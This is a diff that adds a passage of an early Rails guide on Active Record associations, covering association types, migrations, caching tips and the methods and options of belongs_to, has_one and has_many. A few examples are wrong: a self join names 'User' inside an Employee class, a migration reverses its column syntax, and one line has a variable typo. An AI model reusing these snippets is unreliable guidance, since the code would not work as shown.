+=== The +has_and_belongs_to_many+ Association
+
+A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+-------------------------------------------------------
+
+image:images/habtm.png[has_and_belongs_to_many Association Diagram]
+
+=== Choosing Between +belongs_to+ and +has_one+
+
+If you want to set up a 1-1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
+
+The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+end
+-------------------------------------------------------
+
+The corresponding migration might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class CreateSuppliers < ActiveRecord::Migration
+ def self.up
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.integer :supplier_id
+ t.string :account_number
+ t.timestamps
+ end
+ end
+
+ def self.down
+ drop_table :accounts
+ drop_table :suppliers
+ end
+end
+-------------------------------------------------------
+
+NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
+
+=== Choosing Between +has_many :through+ and +has_and_belongs_to_many+
+
+Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
+
+[source, ruby]
+-------------------------------------------------------
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+-------------------------------------------------------
+
+The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
+
+[source, ruby]
+-------------------------------------------------------
+class Assembly < ActiveRecord::Base
+ has_many :manifests
+ has_many :parts, :through => :manifests
+end
+
+class Manifest < ActiveRecord::Base
+ belongs_to :assembly
+ belongs_to :part
+end
+
+class Part < ActiveRecord::Base
+ has_many :manifests
+ has_many :assemblies, :through => :manifests
+end
+-------------------------------------------------------
+
+The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table).
+
+You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
+
+=== Polymorphic Associations
+
+A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
+
+[source, ruby]
+-------------------------------------------------------
+class Picture < ActiveRecord::Base
+ belongs_to :imageable, :polymorphic => true
+end
+
+class Employee < ActiveRecord::Base
+ has_many :pictures, :as => :imageable
+end
+
+class Product < ActiveRecord::Base
+ has_many :pictures, :as => :imageable
+end
+-------------------------------------------------------
+
+You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+. Similarly, you can retrieve +@product.pictures+. If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+[source, ruby]
+-------------------------------------------------------
+class CreatePictures < ActiveRecord::Migration
+ def self.up
+ create_table :pictures do |t|
+ t.string :name
+ t.integer :imageable_id
+ t.string :imageable_type
+ t.timestamps
+ end
+ end
+
+ def self.down
+ drop_table :pictures
+ end
+end
+-------------------------------------------------------
+
+This migration can be simplified by using the +t.references+ form:
+
+[source, ruby]
+-------------------------------------------------------
+class CreatePictures < ActiveRecord::Migration
+ def self.up
+ create_table :pictures do |t|
+ t.string :name
+ t.references :imageable, :polymorphic => true
+ t.timestamps
+ end
+ end
+
+ def self.down
+ drop_table :pictures
+ end
+end
+-------------------------------------------------------
+
+image:images/polymorphic.png[Polymorphic Association Diagram]
+
+=== Self Joins
+
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:
+
+[source, ruby]
+-------------------------------------------------------
+class Employee < ActiveRecord::Base
+ has_many :subordinates, :class_name => "User", :foreign_key => "manager_id"
+ belongs_to :manager, :class_name => "User"
+end
+-------------------------------------------------------
+
+With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
+
+== Tips, Tricks, and Warnings
+
+Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+
+* Controlling caching
+* Avoiding name collisions
+* Updating the schema
+* Controlling association scope
+
+=== Controlling Caching
+
+All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+
+[source, ruby]
+-------------------------------------------------------
+customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders.empty? # uses the cached copy of orders
+-------------------------------------------------------
+
+But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
+
+[source, ruby]
+-------------------------------------------------------
+customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders(true).empty? # discards the cached copy of orders and goes back to the database
+-------------------------------------------------------
+
+=== Avoiding Name Collisions
+
+You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
+
+=== Updating the Schema
+
+Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+-------------------------------------------------------
+
+This declaration needs to be backed up by the proper foreign key declaration on the orders table:
+
+[source, ruby]
+-------------------------------------------------------
+class CreateOrders < ActiveRecord::Migration
+ def self.up
+ create_table :orders do |t|
+ t.order_date :datetime
+ t.order_number :string
+ t.customer_id :integer
+ end
+ end
+
+ def self.down
+ drop_table :orders
+ end
+end
+-------------------------------------------------------
+
+If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
+
+Second, if you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
+
+WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".
+
+Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+
+[source, ruby]
+-------------------------------------------------------
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+-------------------------------------------------------
+
+These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
+
+[source, ruby]
+-------------------------------------------------------
+class CreateAssemblyPartJoinTable < ActiveRecord::Migration
+ def self.up
+ create_table :assemblies_parts, :id => false do |t|
+ t.integer :assembly_id
+ t.integer :part_id
+ end
+ end
+
+ def self.down
+ drop_table :assemblies_parts
+ end
+end
+-------------------------------------------------------
+
+=== Controlling Association Scope
+
+By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+
+[source, ruby]
+-------------------------------------------------------
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+-------------------------------------------------------
+
+This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But this will not work, because +Supplier+ and +Account+ are defined in different scopes:
+
+[source, ruby]
+-------------------------------------------------------
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+-------------------------------------------------------
+
+To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:
+
+[source, ruby]
+-------------------------------------------------------
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account, :class_name => "MyApplication::Billing::Account"
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier, :class_name => "MyApplication::Business::Supplier"
+ end
+ end
+end
+-------------------------------------------------------
+
+== Detailed Association Reference
+
+The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+
+=== The +belongs_to+ Association
+
+The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
+
+==== Methods Added by +belongs_to+
+
+When you declare a +belongs_to+ assocation, the declaring class automatically gains five methods related to the association:
+
+* +_association_(force_reload = false)+
+* +_association_=(associate)+
+* +_association_.nil?+
+* +build___association__(attributes = {})+
+* +create___association__(attributes = {})+
+
+In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+-------------------------------------------------------
+
+Each instance of the order model will have these methods:
+
+[source, ruby]
+-------------------------------------------------------
+customer
+customer=
+customer.nil?
+build_customer
+create_customer
+-------------------------------------------------------
+
+===== +_association_(force_reload = false)+
+
+The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+
+[source, ruby]
+-------------------------------------------------------
+@customer = @order.customer
+-------------------------------------------------------
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
+
+===== +_association_=(associate)+
+
+The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+
+[source, ruby]
+-------------------------------------------------------
+@order.customer = @customer
+-------------------------------------------------------
+
+===== +_association_.nil?+
+
+The +_association_.nil?+ method returns +true+ if there is no associated object.
+
+[source, ruby]
+-------------------------------------------------------
+if @order.customer.nil?
+ @msg = "No customer found for this order"
+end
+-------------------------------------------------------
+
+===== +build___association__(attributes = {})+
+
+The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+
+[source, ruby]
+-------------------------------------------------------
+@customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"})
+-------------------------------------------------------
+
+===== +create___association__(attributes = {})+
+
+The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
+
+[source, ruby]
+-------------------------------------------------------
+@customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"})
+-------------------------------------------------------
+
+==== Options for +belongs_to+
+
+In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer, :counter_cache => true, :conditions => "active = 1"
+end
+-------------------------------------------------------
+
+The +belongs_to+ association supports these options:
+
+// * +:accessible+
+* +:class_name+
+* +:conditions+
+* +:counter_cache+
+* +:dependent+
+* +:foreign_key+
+* +:include+
+* +:polymorphic+
+* +:readonly+
+* +:select+
+* +:validate+
+
+// ===== +:accessible+
+//
+// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
+//
+===== +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer, :class_name => "Patron"
+end
+-------------------------------------------------------
+
+===== +:conditions+
+
+The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer, :conditions => "active = 1"
+end
+-------------------------------------------------------
+
+===== +:counter_cache+
+
+The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+-------------------------------------------------------
+
+With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer, :counter_cache => true
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+-------------------------------------------------------
+
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +.size+ method.
+
+Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer, :counter_cache => :count_of_orders
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+-------------------------------------------------------
+
+Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
+
+===== +:dependent+
+
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
+
+WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
+
+===== +:foreign_key+
+
+By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+ belongs_to :customer, :class_name => "Patron", :foreign_key => "patron_id"
+end
+-------------------------------------------------------
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+===== +:include+
+
+You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+[source, ruby]
+-------------------------------------------------------
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+-------------------------------------------------------
+
+If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
+
+[source, ruby]
+-------------------------------------------------------
+class LineItem < ActiveRecord::Base
+ belongs_to :order, :include => :customer
+end
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+-------------------------------------------------------
+
+NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
+
+===== +:polymorphic+
+
+Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.
+
+===== +:readonly+
+
+If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
+
+===== +:select+
+
+The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results.
+
+===== +:validate+
+
+If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
+
+==== When are Objects Saved?
+
+Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
+
+=== The has_one Association
+
+The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
+
+==== Methods Added by +has_one+
+
+When you declare a +has_one+ association, the declaring class automatically gains five methods related to the association:
+
+* +_association_(force_reload = false)+
+* +_association_=(associate)+
+* +_association_.nil?+
+* +build___association__(attributes = {})+
+* +create___association__(attributes = {})+
+
+In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+-------------------------------------------------------
+
+Each instance of the +Supplier+ model will have these methods:
+
+[source, ruby]
+-------------------------------------------------------
+account
+account=
+account.nil?
+build_account
+create_account
+-------------------------------------------------------
+
+===== +_association_(force_reload = false)+
+
+The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+
+[source, ruby]
+-------------------------------------------------------
+@account = @supplier.account
+-------------------------------------------------------
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
+
+===== +_association_=(associate)+
+
+The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+
+[source, ruby]
+-------------------------------------------------------
+@suppler.account = @account
+-------------------------------------------------------
+
+===== +_association_.nil?+
+
+The +_association_.nil?+ method returns +true+ if there is no associated object.
+
+[source, ruby]
+-------------------------------------------------------
+if @supplier.account.nil?
+ @msg = "No account found for this supplier"
+end
+-------------------------------------------------------
+
+===== +build___association__(attributes = {})+
+
+The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+
+[source, ruby]
+-------------------------------------------------------
+@account = @supplier.build_account({:terms => "Net 30"})
+-------------------------------------------------------
+
+===== +create___association__(attributes = {})+
+
+The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
+
+[source, ruby]
+-------------------------------------------------------
+@account = @supplier.create_account({:terms => "Net 30"})
+-------------------------------------------------------
+
+==== Options for +has_one+
+
+In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account, :class_name => "Billing", :dependent => :nullify
+end
+-------------------------------------------------------
+
+The +has_one+ association supports these options:
+
+// * +:accessible+
+* +:as+
+* +:class_name+
+* +:conditions+
+* +:dependent+
+* +:foreign_key+
+* +:include+
+* +:order+
+* +:primary_key+
+* +:readonly+
+* +:select+
+* +:source+
+* +:source_type+
+* +:through+
+* +:validate+
+
+// ===== +:accessible+
+//
+// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
+//
+===== +:as+
+
+Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.
+
+===== +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account, :class_name => "Billing"
+end
+-------------------------------------------------------
+
+===== +:conditions+
+
+The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account, :conditions => "confirmed = 1"
+end
+-------------------------------------------------------
+
+===== +:dependent+
+
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
+
+===== +:foreign_key+
+
+By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account, :foreign_key => "supp_id"
+end
+-------------------------------------------------------
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+===== +:include+
+
+You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ belongs_to :representative
+end
+class Representative < ActiveRecord::Base
+ has_many :accounts
+end
+-------------------------------------------------------
+
+If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+ has_one :account, :include => :representative
+end
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ belongs_to :representative
+end
+class Representative < ActiveRecord::Base
+ has_many :accounts
+end
+-------------------------------------------------------
+
+===== +:order+
+
+The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed.
+
+===== +:primary_key+
+
+By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+
+===== +:readonly+
+
+If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
+
+===== +:select+
+
+The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+===== +:source+
+
+The +:source+ option specifies the source association name for a +has_one :through+ association.
+
+===== +:source_type+
+
+The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
+
+===== +:through+
+
+The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations are discussed in detail later in this guide.
+
+===== +:validate+
+
+If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
+
+==== When are Objects Saved?
+
+When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
+
+If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
+
+If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved.
+
+If you want to assign an object to a +has_one+ association without saving the object, use the +association.build+ method.
+
+=== The has_many Association
+
+The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
+
+==== Methods Added
+
+When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
+
+* +_collection_(force_reload = false)+
+* +_collection_<<(object, ...)+
+* +_collection_.delete(object, ...)+
+* +_collection_=objects+
+* +_collection\_singular_\_ids+
+* +_collection\_singular_\_ids=ids+
+* +_collection_.clear+
+* +_collection_.empty?+
+* +_collection_.size+
+* +_collection_.find(...)+
+* +_collection_.exist?(...)+
+* +_collection_.build(attributes = {}, ...)+
+* +_collection_.create(attributes = {})+
+
+In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection\_singular_+ is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+-------------------------------------------------------
+
+Each instance of the customer model will have these methods:
+
+[source, ruby]
+-------------------------------------------------------
+orders(force_reload = false)
+orders<<(object, ...)
+orders.delete(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.exist?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+-------------------------------------------------------
+
+===== +_collection_(force_reload = false)+
+
+The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+[source, ruby]
+-------------------------------------------------------
+@orders = @customer.orders
+-------------------------------------------------------
+
+===== +_collection_<<(object, ...)+
+
+The +_collection_<<+ method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+
+[source, ruby]
+-------------------------------------------------------
+@customer.orders << @order1
+-------------------------------------------------------
+
+===== +_collection_.delete(object, ...)+
+
+The +_collection_.delete+ method removes one or more objects from the collection by setting their foreign keys to +NULL+.
+
+[source, ruby]
+-------------------------------------------------------
+@customer.orders.delete(@order1)
+-------------------------------------------------------
+
+WARNING: Objects will be in addition destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
+
+
+===== +_collection_=objects+
+
+The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+===== +_collection\_singular_\_ids+
+
+The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+@order_ids = @customer.order_ids
+-------------------------------------------------------
+
+===== +__collection\_singular_\_ids=ids+
+
+The +__collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+===== +_collection_.clear+
+
+The +_collection_.clear+ method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
+
+===== +_collection_.empty?+
+
+The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+
+[source, ruby]
+-------------------------------------------------------
+<% if @customer.orders.empty? %>
+ No Orders Found
+<% end %>
+-------------------------------------------------------
+
+===== +_collection_.size+
+
+The +_collection_.size+ method returns the number of objects in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+@order_count = @customer.orders.size
+-------------------------------------------------------
+
+===== +_collection_.find(...)+
+
+The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
+
+[source, ruby]
+-------------------------------------------------------
+@open_orders = @customer.orders.find(:all, :conditions => "open = 1")
+-------------------------------------------------------
+
+===== +_collection_.exist?(...)+
+
+The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+
+===== +_collection_.build(attributes = {}, ...)+
+
+The +_collection_.build+ method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+
+[source, ruby]
+-------------------------------------------------------
+@order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"})
+-------------------------------------------------------
+
+===== +_collection_.create(attributes = {})+
+
+The +_collection_.create+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+
+[source, ruby]
+-------------------------------------------------------
+@order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"})
+-------------------------------------------------------
+
+==== Options for has_many
+
+In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders, :dependent => :delete_all, :validate => :false
+end
+-------------------------------------------------------
+
+The +has_many+ association supports these options:
+
+// * +:accessible+
+* +:as+
+* +:class_name+
+* +:conditions+
+* +:counter_sql+
+* +:dependent+
+* +:extend+
+* +:finder_sql+
+* +:foreign_key+
+* +:group+
+* +:include+
+* +:limit+
+* +:offset+
+* +:order+
+* +:primary_key+
+* +:readonly+
+* +:select+
+* +:source+
+* +:source_type+
+* +:through+
+* +:uniq+
+* +:validate+
+
+// ===== +:accessible+
+//
+// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
+//
+===== +:as+
+
+Setting the +:as+ option indicates that this is a polymorphic association, as discussed earlier in this guide.
+
+===== +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :orders, :class_name => "Transaction"
+end
+-------------------------------------------------------
+
+===== +:conditions+
+
+The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :confirmed_orders, :class_name => "Order", :conditions => "confirmed = 1"
+end
+-------------------------------------------------------
+
+You can also set conditions via a hash:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+ has_many :confirmed_orders, :class_name => "Order", :conditions => { :confirmed => true }
+end
+-------------------------------------------------------
+
+If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
+
+===== +:counter_sql+
+
